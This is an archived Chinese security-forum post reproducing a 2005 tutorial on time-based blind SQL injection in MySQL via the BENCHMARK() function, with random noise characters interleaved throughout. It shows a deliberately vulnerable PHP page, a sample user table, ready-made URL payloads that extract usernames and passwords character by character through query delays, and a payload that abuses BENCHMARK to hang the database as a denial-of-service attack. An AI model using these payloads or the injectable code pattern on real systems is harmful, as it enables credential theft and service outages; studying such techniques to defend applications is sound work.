找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2361|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 6 B0 B+ O3 K8 [0 X. A0 Y% F
本文作者:SuperHei
- Q. O8 x4 p: i9 e7 _文章性质:原创! v9 H9 `& b2 J/ Y* L2 I2 S
发布日期:2005-01-02  P( ^5 V  j& m3 i% R) n2 m
完成日期:2004-07-09 7 s- g6 g. N2 z  O5 k  S
第一部* y: @' t- v+ V6 X( y
: ^$ _  a6 f! M5 i
利用时间推延进行注射---BENCHMARK函数在注射中的利用 ! _: W6 b6 p  z& X4 r  `5 V6 ~! x

2 ?2 ?7 p  T. ^, s% K% Y' k. p一.前言/思路& f5 j& ~- o9 I) `* p& [- `
+ s2 H7 |, D/ F4 F5 J* K7 J1 M+ \
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
4 @, p/ Z8 E0 o' G- n/ U9 o" K: ?6 W3 f3 I6 a# [; p
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
. p7 d, P* D' w) E4 x* p* w2 \5 N7 h0 Q0 V. K1 k. |
二.关于BENCHMARK函数  P1 T8 ?( h7 U7 F- k4 y  J2 d

3 [, A+ @/ {1 {" {$ L# O  在MySQL参考手册里可以看到如下描叙:
. }- Q+ J6 u' a9 A" [
+ }0 L( s) B: C  y
  m& C" a3 J" h2 ~3 {8 G! p! [) R--------------------------------------------------------------------------------$ X2 L. ?1 {7 ^
) t4 M1 Y3 ]4 v) e
BENCHMARK(count,expr)   m  L3 g; m9 M, M2 Z6 c
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
5 m  ^# F7 z% @! i/ s. v  e& {mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ; Y, m, W, n  e1 j( v7 W) L/ T
+----------------------------------------------+ ) B- ]5 F% k7 b; E7 y( n6 s( x
| BENCHMARK(1000000,encode("hello","goodbye")) |
- r5 N+ `5 V; V% O: e( m$ {+----------------------------------------------+
9 d5 j  Y5 {- w; i# \| 0 | 8 P" k  n6 x7 \
+----------------------------------------------+   ]# f8 G; r/ Q5 j( _: E2 y
1 row in set (4.74 sec)
8 e3 H% s2 V9 i  d, z5 W
& r/ l6 a8 B4 x) I$ a报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。- [. {; P0 |9 \! c1 c3 d- W9 |- l. Q3 H

* Q, Z* v# z, S7 ~. x& V# B
2 I, ~1 D* Y) g$ a: t--------------------------------------------------------------------------------
3 c- W5 ?7 A& h# L1 g2 t( @% O' _% N8 u& B$ n8 |
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 1 l3 y7 Y- \( b/ `7 `: I

3 l- ^0 r' }5 m$ O/ G) G0 q( U3 [mysql> select md5( 'test' ); . x, w6 T; c$ x/ n$ \$ X
+----------------------------------+ 4 A1 A5 F9 |/ G8 w
| md5( 'test' ) |
) u) t  I6 r0 s3 k3 j6 l+----------------------------------+
6 m. ^/ D6 A$ s1 p| 098f6bcd4621d373cade4e832627b4f6 |
, m8 ?+ h% D3 y: y+----------------------------------+ . C0 O' M; A# C5 O# ^) n# o
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
! O; P7 i& q0 b: _6 e- V; _6 e. J$ {/ P; j* f
mysql> select benchmark( 500000, md5( 'test' ) );
/ P: k9 P) w: x1 p1 G5 y3 c# k  w+------------------------------------+ 7 x& v2 j% {6 \4 n5 D
| benchmark( 500000, md5( 'test' ) ) |
  \9 c( O7 b2 C: Z0 G+------------------------------------+ 4 s) Q" u3 R/ c2 W6 S
| 0 |
& |- x  c: x# q3 A% d! m+------------------------------------+ # @/ L8 X2 k9 ^0 ?
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec# t1 V9 L4 q( |& o; w5 p7 J  T

0 d. K6 X5 S# @1 `+ @! G
' \1 ?6 g, J/ p  u- o  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 % e5 P7 O# i  ^8 i7 x8 F3 {4 x
+ o6 _  r3 j+ \% m# o" z) [( p
三.具体例子0 ~8 h- |3 d2 n. D- \; v- _. ?2 x2 x

; z& N0 V) Z" g5 l: h5 P  首先我们看个简单的php代码:
8 T: S1 i: |7 p" c# A3 H4 ?. c) N3 ^8 O+ k, X% l+ P
< ?php
$ X: W& d# l8 c" J+ t$servername = "localhost"; ( ~7 I* h. S$ ^1 I& u
$dbusername = "root"; 9 T5 [; p& @2 W
$dbpassword = ""; , P$ m5 E0 l0 w9 c/ @" E9 |
$dbname = "injection"; * m5 }! X+ C/ L8 U6 J* Q" P$ X& Y
7 W2 X- O3 Q% O. Q7 y  {3 z: t
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
# U6 V4 [1 }( ~$ X% [4 M
$ F  `6 O" d; C3 {2 C4 x$ h+ l$sql = "SELECT * FROM article WHERE articleid=$id";   ?- R5 S  J5 v* j
$result = mysql_db_query($dbname,$sql);
% r( y: `; k% _* E$row = mysql_fetch_array($result); / h' D' U) {0 Y. Y9 u& w
# J* g4 @& ~/ [! p& I1 p9 \8 ]
if (!$row) 7 ^9 F8 e: R: j* G" |
{ . z5 {  A4 N8 q: t# i
exit; 5 y3 {8 p5 Y4 D7 d: O/ U" b
} ( N6 {5 A' Y1 b3 c$ l9 r. s
?>
/ p1 i, @/ ?/ I# J  D8 ?! e 1 C3 l0 U. Q, L9 \4 U1 m4 ?- L
& ^; x0 x: n% p1 p( E8 s8 t
  数据库injection结构和内容如下:, r! n7 Z) N1 w( R, D- ?2 k
* g9 J( \/ G4 _. M
# 数据库 : `injection`
, t7 g( p  c3 b% r#
& x! ?& j' `; b* L+ L' ?- t9 C$ o; M
# --------------------------------------------------------
8 r: @6 z4 P. ^" s: C  A3 I; l9 q+ B, ]! t. U- Z% O; r7 B
#
  a: w" {* y) J' l# 表的结构 `article`
5 u8 Y$ [. u% Q: f+ e#
; G; ]1 {4 V; z6 z) Z! o3 L7 G1 T+ O! H; b. h& K5 T2 h
CREATE TABLE `article` (
/ D2 t. z6 g2 T' [`articleid` int(11) NOT NULL auto_increment, 9 T% y! x3 H( d" U
`title` varchar(100) NOT NULL default '', - g+ i9 H/ U  F2 U6 I. @* B1 o
`content` text NOT NULL, / W: _) R- W) [- [/ \/ ?3 s
PRIMARY KEY (`articleid`)
' C' f) o  P) ~) TYPE=MyISAM AUTO_INCREMENT=3 ;
/ d& i* m, W. b6 E. h- `* u& o  {0 G+ [( W
#
  F9 y7 e) `( [; s9 ^# 导出表中的数据 `article` ' A  s, T5 w7 b8 p5 s3 G
#
* ~! U) t7 f  `
, O  [3 ~9 A" k6 jINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
  T7 f  S/ _: g7 G! y* k8 |8 WINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
' X" S& e1 Z$ ^
6 z  }) L. h; z  ]* h* i' g# --------------------------------------------------------
# M$ B5 Y0 m) V$ X* D" J1 j
7 m2 H% O' Q4 q4 P+ A% Z; y#
0 A6 ~9 k/ O5 @: w0 U7 ^# 表的结构 `user` . l6 M$ D6 u0 H5 a& \' o
# 1 \- k7 p: X8 E1 a( m

" h6 \, r  U. FCREATE TABLE `user` (
& }4 x/ f! H. a6 u1 l`userid` int(11) NOT NULL auto_increment, + ^3 F6 k- H" t
`username` varchar(20) NOT NULL default '', % i0 I1 V9 h$ @  F) D+ }0 V
`password` varchar(20) NOT NULL default '',
1 g5 Y6 r6 c5 @0 n2 K! F( jPRIMARY KEY (`userid`) % c  L* t8 s1 K
) TYPE=MyISAM AUTO_INCREMENT=3 ;
2 K( n2 r8 Q: P9 L) L& `/ n! ?* Q' b9 q, N
#
% I/ j1 h3 S( [  T: H: g, _( Y: h( z# 导出表中的数据 `user`
0 B. x& H. s( v* t9 d#
7 w$ ?3 p  B: G3 K1 p* H6 a% K) [3 W5 D# I1 [
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 1 i4 r# f- B! Z* q; G
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
7 K$ j0 s( z5 \( v% F 7 p) [$ j6 |: N) i
5 l4 v6 }. E, [
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
* ~. \) Z( o; O) `$ x, T1 r& F% F- ~% \, c% k7 n
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
* Z3 J6 q& f: T" N
0 o' K: e! j/ |' y: X+ ]- e$ o9 [+ i* ]1 e& a- S
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
& G" t! U) \% f  K5 V" I0 I
# K4 _# x2 ^9 n: d/ L' q3 whttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*( h, B/ R. C+ K8 v6 C) z
& k  L& k7 Q8 n' _' f
! E% w# }$ F/ T/ l4 i
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
: ^; |: _$ X8 ]! P: [
0 d3 X% l  V, q* x  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
. A% N) f2 ~4 Y$ O' X  @
" F; s+ N- w  S: d0 `: c+ ?9 G第二部
- e- W* B) _! j3 W" F- V* V" K) g# G) T2 Z. z: o
利用BENCHMARK函数进行ddos攻击
+ R* |+ U3 e" S; O2 a$ Q& B- \. U0 ]. L5 c: V9 F6 R* T
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:5 ?$ Z+ P# l: F& Y
5 }0 }2 o0 y1 K) V8 U( r
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))% ~8 w  \! M0 T  y/ s

+ y5 s$ S- T0 g
' ]: ]4 O7 A$ P% f- V/ Y小结$ C3 X& g* N7 h4 R: @+ X

; T! S! Y! |% h6 S  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。( }1 r6 S  Y6 [& s7 b6 c, E

4 ~5 Z, v. |( ]2 |7 w2 i' h  
/ [! `3 s# C. ?0 p' |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表